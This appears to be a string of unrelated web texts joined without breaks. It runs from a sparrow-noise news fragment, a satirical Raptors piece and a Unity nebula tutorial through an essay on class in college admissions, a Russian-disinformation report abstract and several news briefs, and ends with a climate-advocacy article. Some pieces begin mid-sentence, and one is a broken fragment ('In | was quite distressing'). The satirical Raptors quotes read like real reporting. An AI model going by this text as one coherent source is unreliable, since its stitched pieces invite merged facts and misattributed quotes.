Dr Slabbekoorn said: "We don't really understand why that is, but noise may be a factor.
"House sparrows use an important low-frequency component in their calls.
"There are many factors that affect a bird's capacity for breeding in cities but noise has been the most neglected one."
Yesterday's Mail told how the number of birds visiting our gardens and parks has fallen by a fifth in four years.
The decline follows a succession of mild winters and the growing popularity of paving and decking.TORONTO – With the upcoming NBA season rapidly approaching, there is an air of excitement in Toronto as Raptors fans see their teaming having a real shot to do the unthinkable and finally walking away with the coveted title of maybe the 4th or 5th best team in all of basketball.
“This team is really looking forward to showing the NBA that we can almost play toe-to-toe with the best of them,” stated head coach Dwane Casey. “At the end of the day, we believe in our ability to beat any team that isn’t objectively more talented than we are by practically every measure, and we intend to prove it.”
While the Toronto Raptors may not have a roster that includes several future hall of famers, what they do have is confidence that at the end of the season, when the NBA champions are crowned, everyone will remember Toronto as the team that didn’t lose as badly to those champions as some of the other teams did.
“Any time you’re on a team like this you want to make sure people remember your legacy,” explained starting point guard Kyle Lowry. “Ideally our legacy is the team that tried their best and had fun.”
At press time, the Toronto Raptors marketing team is busy designing a campaign around the hashtag #WeTheForth(orFifth).Here’s a quick way to create a “nebula” effect without any code at all:
Create a default particle system from the menu in Unity’s UI
Delete just the “Particle Animator” component
Check the “One Shot” option in the emitter settings
Now you have a static set of particles. The min & max emission controls how many particles there are (you should probably set them both to the same value, unless you want a random value somewhere between the two). The default particle textures are already fairly suitable as they are have a fuzzy glow look. Try these values for a very quick nebula-like effect:
Min size: 0.1
Max size: 0.7
Min & Max emission : 200
You might want to set one of the ellipsoid size dimensions smaller than the others, to give it a sort of oval shape instead of spherical. And of course you could use some custom particle textures, colour variations, and adjust the size to fit your game.
When I tried this, I found that having two particle systems in the same location worked really well, where the first particle system serves to show the larger blobby white areas, and the second particle system has the size values turned right down so that the particles are tiny specks, and the emission values turned right up (to 2000 or so).
The settings for the first particle system are:
Min Size: 0.3
Max Size: 3.5
And for the second particle system:
Min Size: 0.01
Max Size: 0.03
And apply these settings to both systems:
Emit: On
One Shot: On
Simulate in world space: off
Min Emission: 2000
Max Emission: 2000
Ellipsoid: X:8, Y:4, Z:8
Then add the second system as a child of the first system (by dragging the 2nd onto the 1st in the hierarchy). Because they are not set to simulate in world space, you can then just rotate the parent particle system and the whole nebula will rotate including the tiny dots in the child particle system.
(until I sort out proper hosting for my unity files on this blog, you’ll have to make do with pretty pictures and video!)“I volunteered to take the penalty because I felt pretty confident about scoring” – David O’Leary – scorer of the winning penalty for Ireland against Romania in the 1990 World Cup.
Confidence is a belief that you have the ability to meet the demands placed upon you in the situation you face. When you feel confidence there is a sense of optimism, positivity, control and a trust in yourself and your team around you while a low sense of confidence creates pessimism, anxiety and doubt.
Traits of Confident Athletes
Belief and trust that they have the fitness and skills to perform well. Stick to task even when the competition is going against them. Take full responsibility for their actions and decisions. Challenge themselves to perform slightly above their comfort zone. Have a positive approach to their training and competition.
Traits of Athlete Lower in Confidence
Have doubts about their level of ability Lose interest and give up easily when the competition is not going the way they hoped. Makes excuses or blames others and factors not within their control Don’t push outside the comfort zone and set challenges that are really easy or way above their ability. Have a negative approach to training and competition.
The key to confidence is moving from doubt to trust. When you feel doubt in yourself and your ability you actually try harder to do well. This trying creates extra tension and too much tension leads to a drop in performance. This drop in performance creates more doubt and so you can find yourself of this circle of doom.
When you trust yourself and your ability you can go with the flow and this leads to a relaxed tension. You are not completely relaxed but more in control of tension. This leads to greater performance and so can lead to more trust and now you are on the circle of success. “Success begets Success”. You can’t go into the zone without trust and confidence.
Confidence is not something we are born with. It is developed over time through our experiences and is influenced by the people we hang out with as well as our coaches, teachers and our parents. The good news is that it can be developed and strengthened.
Our level of confidence is always changing. You can feel confident in an event one week and the next week feel a loss in confidence due to weather changes, the venue looks different and the competitors look tougher and so can create some doubts.
The best athletes in the world get doubts sometimes and their confidence level drops but what makes them different is not that they keep their confidence high but rather how quickly they can make it bounce back up when it dips.
Self-Talk – A simple technique you can use to build confidence
I often think how many friends people would lose if they spoke to others in the same way they speak to themselves. Brad Gibert, the well-known American tennis coach puts it well when he says “when you beat yourself up during a match, you double the amount of opponents on the court”.
Self-talk is that internal dialogue we hear as we react to situations and interpret events. Lots of times when we experience pressure it is due in part to that little voice in our heads that has become negative. We hear things like “I better not mess this up, what if I fail, and I’ve blown it now!”
Internal voices can be a distraction. Being ‘in the zone’ tends to be a quiet place. If there is to be an internal voice always choose a productive voice, which helps to create a positive emotional state. It is a choice. Compassionate awareness of the negative self talk is key. It’s in your control, and you can choose how you ‘speak to yourself’ every minute of the day.
Practical Exercise – Understanding Your Internal Voice
With negative self-talk – a natural enemy of going in the zone – it is worth understanding when it happens, how to recognise it and what you want to have instead. Use the following exercise to identify negative self-talk and write down what you want to hear instead.
It is best to do this exercise after a tough workout or competition:
Write down what part of the event the negative comments occurred
Identify the negative thoughts or comments you said to yourself
Identify positive words or thoughts you can use instead of these negative comments
Practice the new positive comments and thoughts replacing the old negative ones in training and competitionOver the past decade and a half, I've given talks on dozens of college campuses about the need to increase socioeconomic diversity, but never before had I witnessed what I observed during a recent speech at Middlebury College.
Before introducing me, students from the sponsoring organization, Money at Midd, began the forum by publicly announcing their names and how much they and their families paid each year in tuition and fees. The first student, Samuel Koplinka-Loehr, said that his family paid about $18,000, and that he added $3,000 from his job. He passed the microphone to the next student, who said his family paid the full $56,000 comprehensive fee. A young woman said that her family could not afford to pay anything, but that she worked to pay $1,200 toward college costs.
I was dumbstruck, then elated, by the frank nature of the exchange. At Middlebury—and on campuses throughout the country—class is coming out of the closet.
Long hidden from view, economic status is emerging from the shadows, as once-taboo discussions are taking shape. The growing economic divide in America, and on American campuses, has given rise to new student organizations, and new dialogues, focused on raising awareness of class issues—and proposing solutions. With the U.S. Supreme Court likely to curtail the consideration of race in college admissions this year, the role of economic disadvantage as a basis for preferences could further raise the salience of class.
This interest represents a return to an earlier era. Throughout the first half of the 20th century, class concerns animated Marxists on campus and New Deal politicians in the public sphere. Both groups papered over important dimensions of race and gender to focus on the nation's economic divide. Programs like Federal Housing Administration-guaranteed loans and the GI Bill provided crucial opportunities for upward mobility to some working-class families and students.
Colleges, meanwhile, began using the SAT to identify talented working-class candidates for admission. But FHA loans, the GI Bill, and the SAT still left many African-Americans, Latinos, and women out in the cold.
In the 1960s and 70s, that narrow class focus was rightly challenged by civil-rights activists, feminists, and advocates of gay rights, who shined new light on racism, sexism and homophobia. Black studies, women's studies, and later gay studies took root on college campuses, along with affirmative-action programs in student admissions and faculty employment to correct for the lack of attention paid to marginalized groups by politicians and academics alike.
Somewhere along the way, however, the pendulum swung to the point that issues of class were submerged. Admissions officers, for example, paid close attention to racial and ethnic diversity, but little to economic diversity. William Bowen, a former president of Princeton University, and his colleagues reported in 2005 that being an underrepresented minority increased one's chances of admissions at selective colleges by almost 28 percentage points, but that being low-income provided no boost whatsoever. Campuses became more racially and ethnically diverse—and all-male colleges began admitting women—but students from the most advantaged socioeconomic quartile of the population came to outnumber students from the least advantaged quartile at selective colleges by 25 to 1, according to a 2004 study by the Century Foundation.
Today's students have come of age at a time when the advantages of economic privilege are greater than ever before.
At the top 20 American law schools, Richard H. Sander, a law professor at the University of California at Los Angeles, found in a recent study, just 2 percent of students came from the bottom socioeconomic quartile, while more than three-quarters hailed from the richest quartile. The representation of economically disadvantaged students at elite law schools, he wrote, "is comparable to racial representation 50 years ago, before the civil-rights revolution."
Thankfully, doors remain open to low-income students at community colleges and some less-selective four-year institutions, where it is sometimes possible to receive an excellent education. But the dual system of American higher education, with low-income and working-class students concentrated in two-year colleges and wealthy students in the most-selective four-year institutions, means we are showering the greatest opportunities on the already advantaged.
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Community colleges spent an average of about $13,000 per full-time-equivalent student in 2009, while private four-year research institutions spent almost $67,000 per student. Graduation rates are higher at selective four-year colleges than at nonselective four-and two-year colleges, even when comparing students with similar entering academic qualifications. And access to professional networks at selective colleges can translate into greater wages, particularly for students from low-income backgrounds.
It is hard to know precisely why colleges turned a blind eye to class while maintaining a relatively more progressive stance on issues of race and gender. It may be that their officials were more attuned to racial and gender inequality because it is more visible, rendering them more accountable. Addressing class inequality is more expensive than addressing racial and gender inequities because low-income students need financial aid, which may mean smaller budgets for libraries or faculty salaries. And it is possible that many college officials, as participants or witnesses to the heroic movements for black liberation, women's rights, and gay freedom, resented white working-class applicants, who to some symbolized racist, sexist, and homophobic resistance to progress.
Somewhere along the way, the white working-class candidate who overcame odds ceased to be seen as the sympathetic striver and became the unattractive offspring of Archie Bunker. According to Thomas J. Espenshade and Alexandria Walton Radford's 2009 book, No Longer Separate, Not Yet Equal, at highly selective private colleges, lower-class white students were a third as likely to be admitted as upper-middle-class white students who were otherwise similarly qualified.
Class issues popped up periodically in public discussion but never gained traction. In the mid-1990s, when President Bill Clinton briefly suggested shifting the basis of affirmative-action policies from race and gender to class "because they work better and have a bigger impact and generate broader support," civil-rights and women's groups killed the idea. While Clinton was right that public opinion supported a class-based approach, no organized constituency championed preferences for the poor and working classes.
In 1996, California became the first of several states to ban affirmative action by voter initiative, and universities in that state and others began to focus on socioeconomic status as an indirect way to produce racial diversity. But the motivation was still centered on racial outcomes. As UCLA's Sander told me, "Only one out of every 20 people I've talked to in the legal academy attach value to the idea of economic diversity." He continued, "Schools that are willing to throw themselves into the fire to preserve racial effects act like class-based affirmative action is, if anything, a bad thing."
After the Supreme Court reaffirmed the ability of colleges to use race in admissions in the 2003 case Grutter v. Bollinger, it appeared briefly that American higher education might begin to address the remaining problem of class inequality. In 2004, Lawrence Summers, then president of Harvard University, announced a plan to widen socioeconomic diversity among its students through financial aid and admissions. Anthony Marx forged a similar plan at Amherst College, and Bowen urged colleges to provide a thumb on the scale for low-income applicants.
But while the number of low-income students at Harvard and Amherst rose, similar institutions did not for the most part follow suit. Marx told me, "At Amherst, we more than doubled low-income enrollment, which made for a more interesting educational environment for everyone and aimed to bolster mobility based on talent. Since this only increased selectivity from a broader pool and inspired record-breaking donations, I hoped our peers would follow, but their numbers never moved as significantly."
With a dearth of low-income students, discussions of campus diversity continued to focus on race. "Although no remark is more common in American public life than the observation that we don't like to talk about race, no remark... is more false," Walter Benn Michaels, a literary and social critic at the University of Illinois at Chicago, observed in his 2006 book, The Trouble With Diversity. "In fact, we love to talk about race. And, in the university, not only do we talk about it; we write books and articles about it, we teach and take classes about it, and we arrange our admissions policies in order to take it into account."
We do so in part, he contended, to avoid talking about class, discussion of which remains largely off-limits. As a colleague remarked to me, a student who is both low-income and gay is far more likely to reveal his sexual orientation than his class origins.
This backdrop—in which baby boomers like me saw class issues eclipsed by other important dimensions of inequality—helps explain why I was so stunned by the frank discussion at Middlebury. But the dialogue there may be a small sign that the pendulum is swinging back. Indeed, it seems likely that two very different forces will drive a re-emergence of the class issue in the near future: the passionate advocacy of young people, for whom class plays an increasing role in their daily experiences; and the actions of a group of Supreme Court justices, who appear willing to begin phasing out our nation's half-century experiment with using race as a positive factor in college admissions, paving the way for considerations of class.
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Today's young people have grown up in a world unlike that of their parents. Class inequality has taken on much greater salience than racial inequality. Today's youth didn't grow up seeing fire hoses being trained on peaceful civil-rights demonstrators. Instead they've grown up in a country where racism continues to exist, but where voters elected and then re-elected a black president, and where Latinos are a rising political power. And they have come of age at a time of growing economic inequality, when the advantages of economic privilege are greater than ever before. Wealthy families have always had more resources to invest in their children, but the gap in that spending between wealthy and poor families has tripled since the 1970s.
Looking at students' test scores, Sean F. Reardon, a professor at Stanford University, has found that the gap in scores between affluent and low-income students has grown by about 40 percent since the 1960s, and is now double that between black and white students.
If the ability of colleges to employ race in admissions is constrained, it is likely that campus officials will turn to economic disadvantage to indirectly produce racial diversity.
Moreover, Anthony P. Carnevale and Jeff Strohl, of Georgetown University, have found that socioeconomic disadvantages are far more significant in predicting SAT scores for today's students than racial
disadvantages are. On the math and verbal sections of the SAT, socioeconomic disadvantage imposes a 399-point penalty on low-income students compared with the most advantaged, while being African-American imposes a 56-point disadvantage compared with being white.
Given those realities, young upper-middle-class white students who feel uneasy about unearned fortune appear more likely to experience guilt about their growing economic advantage than about their diminishing white-skin privilege. Indeed, today's students, as a group, seem more attuned to remedying economic inequalities than racial disparities. In a 2012 poll of students at Brown University, for example, 58 percent opposed the use of race in admissions compared with 34 percent who supported it. Yet among those opposed to racial consideration, more than half supported consideration of socioeconomic status.
Likewise, in a national poll of millennials (ages 18-25) conducted by Georgetown University, participants opposed the use of racial preferences for diversity by 57 percent to 28 percent, and only 9 percent supported racial preferences to make up for past discrimination. At Princeton University, the editorial board of The Daily Princetonian, while supportive of racial considerations, urged "the university to attach more value to overcoming socioeconomic rather than racial barriers in admissions decisions.... The board sees socioeconomic barriers in the United States as more formidable than racial ones broadly and hence a better predictor of diverse life experience to add to our community."
Across the country, new student groups have arisen to raise awareness about socioeconomic disadvantage. One organization, United for Undergraduate Socioeconomic Diversity (U/Fused), was founded in 2010 by students at Duke University, Saint Louis University, and Washington University in St. Louis, and has since expanded to 19 campuses.
One of the founders of the Duke chapter, Spencer Eldred, told me that in the years following the 2006 allegations (later withdrawn) of the rape of an African-American woman by white lacrosse players at Duke, "there was a lot of discussion of race and gender" on the campus. Student groups dedicated to civil rights and women's issues helped drive an important dialogue. But there was a "big gaping hole" around larger issues of class on campus, he said, because no group existed to raise them.
Meanwhile, at Washington University in St. Louis, a student, Chase Sackett, was concerned that among top colleges, his ranked last in Pell Grant recipients. He helped create the U/Fused chapter to commission a student survey of the socioeconomic climate on campus, which he said "got a big splash" in the student newspaper and generated a great deal of discussion. Students came to see, he said, that while "class doesn't define you, it's a part of you."
In the first few years, U/Fused chapters (disclosure: I serve on the board of advisers) have begun making modest gains in raising awareness of class issues. At Northwestern University, the chapter held a panel discussion on the challenges of achieving socioeconomic diversity and persuaded the president, Morton Schapiro, to participate. At the University of Illinois at Chicago, the group joined with the administration to create a financial-literacy program, which is now part of the required curriculum for first-year students.
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Over time, U/Fused chapters across the country hope to increase socioeconomic diversity on campus, improve outcomes for low-income and working-class students, and foster dialogue on class issues. The chapters push college administrators to increase recruitment of low-income students, expand financial aid, adopt need-blind admissions, create partnerships with community colleges, drop legacy preferences in admissions, and forge partnerships with organizations such as QuestBridge and the Posse Foundation to enroll talented working-class students.
At Middlebury, the local chapter of U/Fused has its work cut out. An academically rigorous private college with 2,500 students, it ranks fourth among liberal-arts colleges (behind Williams, Amherst, and Swarthmore) in the U.S. News & World Report rankings, but low on socioeconomic diversity. Middlebury has need-blind admissions, but according to the Institute for College Access & Success, only 10 percent of dependent students there in 2007-8 came from families making below $60,000 a year (the most recent data available). Meanwhile, 67 percent of dependent students did not apply for federal financial aid, despite Middlebury's hefty total cost of attendance ($55,750 in 2010-11).
The U.S. Department of Education says 40 percent of college students received Pell Grants nationally in 2010-11; at Middlebury the figure was 11 percent. Among the 11 members of the New England Small College Athletic Conference, Middlebury's Pell proportion ranked next to last (just above Colby College), and was half the share at Amherst.
Still, to its credit, Middlebury (another disclosure: My daughter is a junior there) has supported the Money at Midd program, to foster a sometimes difficult dialogue on issues of socioeconomic diversity. During my visit, my student host, Samuel Koplinka-Loehr, told me that working-class students often feel out of place amid the wealth on campus, ashamed that they don't understand the cultural references commonly employed by classmates. Students of modest means feel alone and resent the failure of classmates to acknowledge that the immense wealth found on the campus is not the norm. An administrator whose low-income family had to ration portions of food and drink when she was growing up told me that, many years later, she still feels out of place amid the luxurious surroundings on the campus. "I still can't pour myself more than half a cup of orange juice," she said.
Middlebury could have created a support group for working-class students, the type of program found on many other campuses. But Koplinka-Loehr intentionally wanted something different—an organization that promotes dialogue between working-class and wealthy students, that "makes the conversation a lot harder" but ultimately more meaningful, he explained.
Money at Midd starts most meetings with the routine that preceded my speech: Participants identify themselves and indicate how much they and their families contribute to the cost of their education. Some students squirm in their seats, Koplinka-Loehr said, but the forums provide a space where people can share their "guilt about having money or not having money."
There are risks to this approach. Asking students instead to state publicly how much their parents make could generate sympathy for those from disadvantaged backgrounds, but identifying how much is contributed sometimes fosters a "conservative backlash" among full-paying students who resent their peers for being subsidized, Koplinka-Loehr said. In fact, all Middlebury students, even those who pay full tuition and fees, are subsidized; the actual amount spent annually by Middlebury is roughly $80,000 per student.
As young student activists like Koplinka-Loehr, Eldred, and Sackett agitate for paying more attention to socioeconomic issues, the cause of socioeconomic affirmative action may find an unlikely set of allies among conservative justices on the Supreme Court.
In oral arguments in October in the affirmative-action case before the court, Fisher v. University of Texas, Justice Samuel Alito Jr., of all people, raised the class issue front and center. When a lower court temporarily banned Texas from using race in admissions, the Austin flagship was able to admit more black and Latino students through economic affirmative action and a plan to automatically admit students in the top 10 percent of their high-school class than it had in the past, using race. But the university argues that it was nevertheless justified in considering race, in part because minority students admitted through the 10-percent plan were more likely "to be the first in their families to attend college." Racial preferences, the university says, are needed to admit students such as "the African-American or Hispanic child of successful professionals in Dallas," in order to play against stereotypes.
Justice Alito was incredulous: "I thought that the whole purpose of affirmative action was to help students who come from underprivileged backgrounds, but you make a very different argument." The new argument seemed to suggest that the 10-percent plan was admitting too many of the wrong class of African-American and Latino students.
Justice Anthony Kennedy, often the swing vote on the court, also seemed disturbed by Texas's argument. Following the exchange with Justice Alito, when the attorney for the university said that "we want minorities from different backgrounds," Justice Kennedy replied, "So what you're saying is that what counts is race above all." He continued that "the reason you're reaching for the privileged is so that members of that race who are privileged can be representative, and that's race."
If the ability of colleges to employ race in admissions is constrained, it is likely that campus officials will turn to economic disadvantage, and to percentage plans that disproportionately benefit poor and working-class students, as a way to indirectly produce racial diversity. As my colleague Halley Potter and I outlined in a recent report, "A Better Affirmative Action," most state universities that were banned by voter initiative from using race shifted to class. A similar change in emphasis has occurred at the K-12 level, where 80 school districts, many of which had employed racial integration plans, switched to socioeconomic integration following a 2007 Supreme Court decision clamping down on the use of race.
If colleges shift from race-based to class-based approaches, they may see a considerable influx of low-income and working-class students. At Austin, for example, 25 percent of students admitted through the percentage plan in 2011 were from families making less than $40,000 a year, compared with 10 percent admitted through the traditional discretionary admissions program (including affirmative action). One-third admitted through the percentage plan had parents lacking four-year degrees, compared with 11 percent of discretionary admits.
Fortunately, the students admitted through the percentage plan in Texas have done well academically. And new research by Stanford's Caroline Hoxby and Harvard's Christopher Avery suggests that a substantial proportion of high-scoring, low-income students do not attend selective colleges and are ripe for recruitment.
For 50 years, higher education has managed to avoid questions of class. But gaping economic disparity, changing student sentiment, and the U.S. Supreme Court seem likely to bring class back, once again, to the forefront. Having taken some modestly successful steps to include women and racial minorities, will the colleges accept the challenge?This report analyses Russian propaganda and disinformation – here collectively called strategic deception – concerning the conflict in Ukraine. The strategic deception is not exclusively a Russian term, but it does capture what we think is an essential feature of the current Russian foreign and security policy. It is driven by attempts to put the adversary into a defensive posture and off balance, and thus, to create conditions for surprise.
The methods utilized in contemporary Russian strategic deception are partly the same that were already used in Soviet propaganda. But where Soviet propaganda was anchored in ideological truth claims, the contemporary Russian variant can be compared to a kaleidoscope: a light piercing through it is instantly transformed into multiple versions of reality.
The main purpose of this report is to examine in detail the emergence and evolution of Russian metanarratives and the terms of distraction about the conflict in Ukraine, and on the basis of this analysis to ascertain the main policy objectives of Russian strategic deception inside Russia and in selected countries of the European Union.
It is concluded that the best defence against strategic deception is well-grounded, fact-based knowledge and the willingness to invest into gathering it. No fog of falsehood is able to penetrate the solid walls of well-grounded knowledge and firm commitment to one’s values.
NB: Errors that appear in chapters 9, 10 and 11 of the printed report have been corrected in the online version.
Katri Pynnöniemi András Rácz (eds.)Dubai: A Keralite in the UAE on Thursday won a whopping $1.9 million (approximately Rs 12 crore) after he hit a jackpot in a mega raffle draw in Abu Dhabi.
Manekudy Varkey Mathew, who had purchased the ticket in Super 7 Series 183 in Big Ticket Abu Dhabi, was announced as the winner of the bumper prize.
More details of Mathew's whereabouts were not available immediately.
Mathew has just won Dhirham 7 million in a raffle in the UAE, Khaleej Times reported.
Mathew was not the only lucky Indian to win the prize. Six other Indians and one Emirati have also walked home with Dhirham 100,000 each in the draw, the report said.
Last month, another Indian, Krishnam Raju Thokachichu, had won Dhirham 5 million ($1.3 million) in a raffle draw in Abu Dhabi.
Read more: Latest Kerala news | Late monsoon onslaught sinks TVPM | VideoThere is more than one uniform Chris Conley is willing to wear.
Other than his No. 31 jersey he wears for the Georgia football team, the junior receiver has a Star Wars Jedi costume he will break out on special occasions. Like when he wore it to the Gym Dogs' meet against Alabama on Feb. 2.
"It was pretty epic," Conley said. "I was dressed as a Jedi and we had two Storm Troopers."But he is hoping it'll come in handy again sometime soon.
Conley is trying to organize lightsaber duels on UGA's campus with other fellow Star Wars fanatics. His campaign to get production of the fan film going began on Twitter.
Looking for fellow film or Star Wars fans on campus. I'm thinking of filming a light saber duel around campus. #EpicDuel #CallingAllNerds
— Chris Conley (@_Flight_31) November 18, 2013
So if you know anyone who likes that sort of thing or who wouldn't mind doing some filming or acting tell them to tweet me!!!!
— Chris Conley (@_Flight_31) November 18, 2013
The response?
"I've actually had a lot of response," Conley said. "A lot of people really want to do this. It's something I'm kind of spearheading. It's been a goal of mine before I graduate. This is just for me, just for fun. All of the people who are involved like that sort of thing and we accept our nerdiness."
Conley began tapping into all of his possible resources. He recruited a Georgia football videographer - Frank Martin, who has overseen the production of the Bulldogs' pregame hype videos, such as A Letter for Larry and Awaken The Nation - has been out shopping for props to build lightsabers and has continued to build his production team.
Any tips on how I can fortify the insides of my Lightsaber hilt so it can withstand alot impact? Calling all engineers
— Chris Conley (@_Flight_31) November 25, 2013
Light saber prop building for the #epicduel http://t.co/cDF4KOsfWA
— Chris Conley (@_Flight_31) November 24, 2013
And on Tuesday, he held a production meeting.
Very successful pre-production meeting for the saber video. This is gonna be nice
— Chris Conley (@_Flight_31) December 3, 2013
Conley said he doesn't have a timeline for it quite yet, but he is determined to make the video happen sooner rather than later.
"I just spoke with (Frank) recently and he said he would love to work on it," Conley said. "I see him every day because he's in the (Butts-Mehre) building and he has unlimited resources back there in the video editing suite."
There are locations to scout, participants to recruit and other details of the project to finalize.
"I've yet to decide how many people are going to be dueling yet," Conley said. "I definitely want to be one of them. We've got to get that together. We've got to choreograph the whole thing. It's going to take a little while to practice and film."
Conley said he and his brother, sister and parents have all loved the Star Wars franchise since first watching it when Conley and his siblings were kids. So why not make a fan film?
"My brother and I got into the games and into the some of the Star Wars history outside of the movies and I've just been a fan of it ever since," Conley said. "I've been a big guy who prides myself on remaining who I am regardless of who I'm around or how old I get. It's something that I like and regardless of what people tell me, if it's frowned upon or not. It's me."Going to the Nike Factory Store for a steal on some sneakers is common among collectors, but one Portland man took the word "steal" a bit too literally.
According to KRON 4, 52-year-old Kelvin Torain Millage is accused of stealing sneakers from the Nike Factory Store Store in Northeast Portland over the course of several months with a total value of over $5,000. KRON 4 reports that Millage told police he's stolen over 800 pairs of shoes from Nike, selling the sneakers after and using the profits to buy drugs.
The stark admission came after Millage was identified as the suspect through the store's surveillance footage and subsequently arrested with three bindles of heroin in his possession.
According to court documents, Millage was involved in several thefts, each time with a higher retail value:
March 27 – Shoes valued at $349.97 stolen
April 3 – Shoes valued at $1,200 stolen
April 4 – Shoes valued at $1,500 stolen
May 6 – Shoes valued at $2,425 stolen
There's no word on exactly how Millage managed to walk out of the Nike Store with thousands of dollars worth of sneakers on multiple occasions, but with 23 felony, 22 misdemeanor and 21 probation violations in the past, he's surely a seasoned criminal. For his most recent crimes, he's charged with five counts of theft and one count each of criminal conspiracy to commit theft and unlawful possession of heroin. Millage is due back in court later this month.
UPDATE 5/23: KRON 4's report suggests that Millage's estimation of having stolen 800 pairs refers to a broader crime spree than the one described above. A report from KPTV says an affidavit puts Millage's estimation of his recent theft at just 20 pairs of sneakers.A man wearing a traditional South Asian outfit was attacked in New York City by two men who shouted “ISIS! ISIS!” as they beat him, police said Saturday.
The 43-year-old victim, whose identity has not yet been released, was walking near a school in the Bronx with a 9-year-old girl when he was ambushed and repeatedly punched in the head, the New York Times reports. He was dressed in a shalwar kameez and was found with bruises on his head and face, according to the newspaper.
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The man was also kicked while he was lying on the ground. He was treated at a nearby hospital and has been released. The girl, believed to be his niece, was not injured, according to the New York Times.
The incident is being investigated by the NYPD’s Hate Crimes Task Force, police said.
[NYT]
Contact us at editors@time.com.Will Trump Reinstate Reagan's Abortion Rule For International Charities?
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It's a policy battle that has been playing out over three decades.
In |
was quite distressing,” he added.
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Associated Press writers Ilan Ben Zion and Ian Deitch in Jerusalem and Rachel Zoll in New York contributed to this report.NC County Resists Ban on Christian Prayers
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A county government in North Carolina has continued to allow Christian prayers to be said at its meetings, even after the U.S. Supreme Court refused to hear a lower court ruling that declared them unconstitutional.
Rowan County Board of Commissioners continues to open their meetings with prayers mentioning Jesus, even as the American Civil Liberties Union of North Carolina asked the state counties government to stop performing sectarian prayers.
"The practice of opening with an invocation has been ongoing for many years," said Chad Mitchell, member of Rowan County Board, in an interview with The Christian Post.
"The earliest book of minutes that we have easy access to is from February of 1971, and the Board of Commissioners at that time was using the same procedure of invocation as we are currently using."
According to Mitchell, the prayer policy the board has is that each commissioner is given a choice in rotation to give an opening prayer and they may say what they please.
"There have been commissioners, in the past, that have requested to not be included in the rotation," Mitchell said.
"Their participation, or the content of their invocation, is at the total discretion of the individual commissioner."
Mike Meno, communications manager for the ACLU of North Carolina, told CP that the controversy stems from an earlier case the ACLU took on in Forsyth County, N.C.
"In 2007, the ACLU of North Carolina filed a lawsuit against the Forsyth County Board of Commissioners on behalf of … two longtime Winston-Salem residents who objected to the board's continued use of sectarian prayers," said Meno.
"The highest court to rule on this matter, the Fourth Circuit Court of Appeals, agreed that any prayers in a government meeting'must strive to be nondenominational so long as that is reasonably possible.'"
In January, the U.S. Supreme Court refused to hear an appeal from Forsyth County. Afterwards, the ACLU wanted the rest of the state to understand the Fourth Circuit's decision.
"Already, more than 15 local governments have voluntarily adopted nonsectarian prayers or a moment of silence in order to comply with the law and be more inclusive to religious minorities," said Meno.
"Rowan County – where we have received more complaints from local residents about government-endorsed sectarian prayers than anywhere else in North Carolina – has so far resisted the change."
Rowan County Commissioner Mitchell said to CP that unlike Forsyth County, the prayers at their meetings were delivered by board members rather than invited clergy.
"I think that any rational, reasonable person who reviews practice would conclude that our invocations simply set a tone for our meetings, while adhering to the time honored practice of beginning public meetings with an invocation," said Mitchell.
"The thought that one cannot use Jesus' name in a public meeting is wrong, and, at least in my opinion, is a violation of my personal First Amendment right guaranteeing free exercise of religion."We have a serious global problem. If we continue burning fossil fuels as we are, and if the fossil fuel industry continues to grow along its projected path, the world will see a catastrophic rate of warming between 3 and 7 degrees Celsius above 1880s values by the end of this Century. So much warming would likely mean a very bad end. A bad end for much of global civilization as we know it. A bad end for many of the innocent living creatures who inhabit our world. And a bad end for many of our children — those now being born today who will face the climate troubles we are locking in.
As the Pope succinctly noted in a recent statement seen here in Rueters:
“I am not sure, but I can say to you ‘now or never.’ Every year the problems are getting worse. We are at the limits. If I may use a strong word I would say that we are at the limits of suicide.”
And suicide may seem a rather mild word compared to the reality we would face. So much warming would result in entire forests — tropical, temperate and Arctic lands — burned in great conflagrations, in the destruction of vast agricultural regions, in turning much of the world ocean into a great dead zone, in drowned cities, and in extreme weather related mass casualty events with the destructive ability to take down entire megalopolises. To call such warming simply catastrophic may well be a mild misnomer. Because the world on which we live — planet Earth — has never seen so much warming happen so rapidly. Not at any time. Not even during the great Permian Extinction event of 250 million years ago.
Whether we admit it or not, that’s what the world comes together to address at Paris’s COP 21 Climate Conference. We’re literally meeting to commit to saving the world or to ending it. And there is no sign, as yet, that we’re going to be doing anywhere near enough.
The Great Carbon Gap
The problem, as it stands, is a great failure to communicate the current severity of the global atmospheric heating crisis. Part of this failure involves an inability or unwillingness to translate current Earth System climate sensitivity findings into language relevant to present global policy and then report on it broadly. If global mainstream media were on the ball, they’d be reporting on the findings of UNEP’s annual Emissions Gap Report. They’d also be paying more attention to the recently related speeches and presentations by Dr. Kevin Anderson addressing this critical issue.
(Kevin Anderson’s excellent presentation showing why we’re not yet anywhere near up to the challenge of missing the dreaded 2 C warming mark before the end of this Century.)
If we, as a global community, were taking this matter seriously, we’d be pouring over this report, and taking in the very relevant related statements by Dr. Anderson.
We would also be taking a very serious look at climate sensitivity in the context of past global greenhouse gas concentrations and overall levels of warming. We’d be talking about it broadly and incessantly in the global media. And we’d be comparing our best understandings of past climate contexts with current model based climate sensitivity estimates for warming during the 21st Century (Equilibrium Climate Sensitivity or ECS).
If we did this, we would find that model ECS levels of warming estimated for this Century are about half the amount of warming that is locked in long term. And since the world has already warmed by about 1 C above 1880s levels — which puts us at halfway to hitting the UN’s 2 C level already — it appears that for purposes of considering warming beyond this Century, we’ve already emitted enough greenhouse gasses to easily break the 2 C limit (and possibly hit as high as 4 C) over the course of about 500 years.
Global greenhouse gasses are already in the range of 400 parts per million CO2 and 485 parts per million CO2e. These thresholds, if maintained, are enough (if our understanding of Pliocene climate is correct) to warm the world by 2-3 C long term in the case of CO2 alone and by 4 C, in the case of CO2e, over the same 500+ year period. If the slow feedbacks (rate of ice sheet response, carbon store response, ocean response etc) remain slow, then this level of greenhouse gasses translates to roughly 1.4 to 1.7 C warming this Century (Hansen climate sensitivity) if CO2 levels merely remain stable and about 2 C worth of warming this Century if all other atmospheric greenhouse gasses (methane, ozone, CFCs, nitrous oxides, etc) merely remain stable and do not continue to increase.
If this paleoclimate and ECS based hybrid context is correct, then commitments now need to be for a very rapid drop to zero and then net negative carbon emissions if we are to have any reasonable hope of missing the 2 C threshold this Century. We should also recognize that preventing a rise above the 2 C threshold long term is an even greater challenge.
